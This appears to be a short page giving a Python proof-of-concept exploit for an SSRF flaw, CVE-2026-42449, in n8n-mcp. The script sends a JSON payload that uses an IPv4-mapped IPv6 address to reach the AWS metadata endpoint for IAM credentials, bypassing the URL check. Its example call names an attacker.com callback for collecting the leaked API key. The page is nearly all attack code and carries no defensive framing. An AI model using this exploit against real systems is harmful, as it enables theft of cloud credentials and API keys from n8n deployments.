CVE-2026-42449 n8n-mcp SSRF漏洞

import requests def exploit_ssrf(target_url, attacker_callback_url): """ Exploit CVE-2026-42449 by sending a malicious IPv4-mapped IPv6 address to trigger SSRF against the cloud metadata service. """ # IPv4-mapped IPv6 address for AWS Metadata Service (169.254.169.254) # This bypasses the IPv4 checks in validateUrlSync() internal_target = "http://[::ffff:169.254.169.254]/latest/meta-data/iam/security-credentials/" # The payload sent to the vulnerable n8n-mcp SDK endpoint # The SDK will fetch the URL provided in 'n8nApiUrl' and forward the API Key payload = { "n8nApiUrl": internal_target, "n8nApiKey": "leaked_api_key_value" } headers = { "Content-Type": "application/json" } print(f"[*] Sending SSRF payload to {target_url}") print(f"[*] Targeting internal metadata via: {internal_target}") try: # In a real scenario, this response would contain the metadata if returned to caller response = requests.post(target_url, json=payload, headers=headers, timeout=10) print(f"[+] Status Code: {response.status_code}") print(f"[+] Response Body: {response.text}") # Check if the attacker controlled server received the request with the leaked key # (Simulated here) print("[!] Check attacker callback server for x-n8n-api-key header.") except Exception as e: print(f"[-] Exploit failed: {e}") if __name__ == "__main__": # Example usage exploit_ssrf("http://vulnerable-instance:3000/api/mcp-endpoint", "http://attacker.com/log")